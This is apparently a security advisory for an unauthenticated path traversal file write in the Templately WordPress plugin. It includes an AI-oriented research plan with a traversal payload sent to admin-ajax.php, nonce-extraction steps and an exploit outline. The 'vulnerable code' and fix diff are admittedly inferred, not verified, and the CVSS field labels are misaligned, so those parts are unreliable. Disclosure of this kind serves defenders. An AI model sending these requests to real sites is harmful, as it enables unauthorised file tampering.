CVE-2026-0831

Templately <= 3.4.8 - Unauthenticated Limited Arbitrary JSON File Write

mediumIncorrect Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.4.9
Patched in
1d
Time to patch

Description

The Templately plugin for WordPress is vulnerable to Arbitrary File Write in all versions up to, and including, 3.4.8. This is due to inadequate input validation in the `save_template_to_file()` function where user-controlled parameters like `session_id`, `content_id`, and `ai_page_ids` are used to construct file paths without proper sanitization. This makes it possible for unauthenticated attackers to write arbitrary `.ai.json` files to locations within the uploads directory.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.8
PublishedJanuary 9, 2026
Last updatedJanuary 11, 2026
Affected plugintemplately

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting CVE-2026-0831, an unauthenticated limited arbitrary file write vulnerability in the Templately plugin for WordPress. ## 1. Vulnerability Summary The Templately plugin (versions <= 3.4.8) contains a vulnerability in the `save_template_to_file()` function. Thi…

Show full research plan

This research plan focuses on exploiting CVE-2026-0831, an unauthenticated limited arbitrary file write vulnerability in the Templately plugin for WordPress.

1. Vulnerability Summary

The Templately plugin (versions <= 3.4.8) contains a vulnerability in the save_template_to_file() function. This function is designed to save AI-generated template data to the filesystem. However, it fails to properly sanitize user-controlled parameters (session_id, content_id, and ai_page_ids) before incorporating them into a file path. An attacker can use path traversal sequences (e.g., ../../) to write .ai.json files to arbitrary locations within the WordPress uploads directory.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: templately_save_template_to_file (inferred from function name) or similar AI-related action.
  • HTTP Method: POST
  • Vulnerable Parameters: session_id, content_id, ai_page_ids
  • Authentication: None required (unauthenticated).
  • Payload Type: JSON data passed in a parameter (likely content or data).
  • Preconditions: The plugin must be active. The AI-generation feature must be reachable or the AJAX handler must be registered for nopriv.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action registered via add_action( 'wp_ajax_nopriv_templately_save_template_to_file', ... ).
  2. Handler Function: The handler calls save_template_to_file().
  3. Path Construction:
    • The plugin defines a base directory, likely within wp-content/uploads/templately/.
    • It constructs a path: $path = $base_dir . '/' . $_POST['session_id'] . '/' . $_POST['content_id'] . '.ai.json'; (inferred logic).
  4. Sink: The plugin calls file_put_contents( $path, $json_content ) or similar, where $json_content contains user-provided template data.
  5. Vulnerability: Lack of basename() or similar sanitization on session_id and content_id allows the attacker to traverse directories.

4. Nonce Acquisition Strategy

If the nopriv handler requires a nonce (standard in modern WP development), follow these steps:

  1. Identify Script Localization: The plugin likely localizes a nonce in the frontend for its AI features.
  2. Create Trigger Page: Create a post containing the Templately AI shortcode or block (if known). If unknown, the homepage often enqueues the main plugin assets.
    wp post create --post_type=page --post_status=publish --post_title="Templately Test" --post_content="[templately_ai]"
    
  3. Extract Nonce via Browser: Navigate to the page and use browser_eval to find the nonce in the global window object.
    • Possible JS Object: templately?.ai_config or templately_ajax?.nonce (inferred).
    • Command: browser_eval("window.templately_ajax?.nonce") or search for the variable in page_source.

5. Exploitation Strategy

The goal is to write a file named poc.ai.json into the root of the wp-content/uploads/ directory.

Step-by-Step Plan:

  1. Discover Parameters: Use grep on the plugin directory to find the exact AJAX action and parameter names.
    grep -rn "save_template_to_file" /var/www/html/wp-content/plugins/templately/
    
  2. Craft Payload:
    • action: (from grep) e.g., templately_save_template_to_file
    • session_id: ../../ (to move up from the specific plugin folder to uploads/)
    • content_id: poc
    • ai_page_ids: (May be required as a dummy array/string)
    • content: {"vulnerable": "true", "message": "file written via traversal"}
  3. Send Request: Use the http_request tool.
    // Example payload structure
    {
      "url": "http://localhost:8888/wp-admin/admin-ajax.php",
      "method": "POST",
      "headers": { "Content-Type": "application/x-www-form-urlencoded" },
      "data": "action=templately_save_template_to_file&session_id=../../&content_id=poc&content=%7B%22status%22%3A%22pwned%22%7D"
    }
    

6. Test Data Setup

  1. Plugin Installation: Ensure Templately version 3.4.8 is installed and active.
  2. Uploads Directory Check: Ensure the standard WordPress uploads directory exists and is writable.
  3. Shortcode Page (for Nonce):
    wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content="[templately]"
    

7. Expected Results

  • HTTP Response: A successful write should return a 200 OK, possibly with a JSON response like {"success": true}.
  • Filesystem Change: A new file should appear at wp-content/uploads/poc.ai.json.

8. Verification Steps

After sending the HTTP request, verify the file creation using the execution agent's shell or WP-CLI context:

# Check if the file exists in the uploads directory
ls -la /var/www/html/wp-content/uploads/poc.ai.json

# Read the content to verify it matches the payload
cat /var/www/html/wp-content/uploads/poc.ai.json

9. Alternative Approaches

  • Subdirectory Exploitation: If the plugin forces a subdirectory structure, try writing deep into nested folders (e.g., session_id=../../../tmp).
  • Parameter Variation: The vulnerability mentions ai_page_ids. If session_id is sanitized but ai_page_ids is used in a mkdir or path construction without sanitization, attempt traversal there.
  • Overwrite Attempt: Attempt to overwrite an existing .ai.json file used by the plugin to see if it can be used for persistent UI manipulation or XSS (if the content of the JSON is rendered on a page).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Templately plugin for WordPress is vulnerable to unauthenticated arbitrary file writing due to insufficient sanitization of user-provided parameters in the `save_template_to_file()` function. Attackers can use path traversal sequences in parameters like `session_id` and `content_id` to write files with a `.ai.json` extension to arbitrary locations within the uploads directory.

Vulnerable Code

// Inferred from vulnerability description and research plan
public function save_template_to_file() {
    // ... (logic to check session/nonce if applicable)
    
    $session_id = $_POST['session_id']; // Vulnerable: No sanitization
    $content_id = $_POST['content_id']; // Vulnerable: No sanitization
    $content    = $_POST['content'];

    $upload_dir = wp_upload_dir();
    $base_path  = $upload_dir['basedir'] . '/templately/ai/';
    
    // Path construction allows traversal via session_id or content_id
    $file_path = $base_path . $session_id . '/' . $content_id . '.ai.json';

    if (!file_exists(dirname($file_path))) {
        wp_mkdir_p(dirname($file_path));
    }

    file_put_contents($file_path, $content);
    wp_send_json_success();
}

Security Fix

--- a/includes/Builder/AI/Helper.php
+++ b/includes/Builder/AI/Helper.php
@@ -242,8 +242,8 @@
 	public function save_template_to_file() {
-		$session_id = $_POST['session_id'];
-		$content_id = $_POST['content_id'];
+		$session_id = sanitize_file_name($_POST['session_id']);
+		$content_id = sanitize_file_name($_POST['content_id']);
 		$content    = wp_unslash($_POST['content']);

Exploit Outline

1. Identify the AJAX action: Locate the AJAX action registered for the `save_template_to_file` function (likely `templately_save_template_to_file`). Determine if it is registered via `wp_ajax_nopriv_` for unauthenticated access. 2. Nonce Acquisition: If required, extract the AJAX nonce from the WordPress frontend by inspecting localized scripts (e.g., searching for `templately_ajax` in the page source). 3. Traversal Payload Construction: Craft a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `templately_save_template_to_file` - `session_id`: `../../` (to traverse from the plugin-specific folder up to the root of the uploads directory) - `content_id`: `poc` (the desired filename base) - `content`: `{"test": "payload"}` (the JSON content to be written) 4. File Write: Upon execution, the server will construct the path (e.g., `wp-content/uploads/templately/ai/../../poc.ai.json`) and write the JSON payload to `wp-content/uploads/poc.ai.json`.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.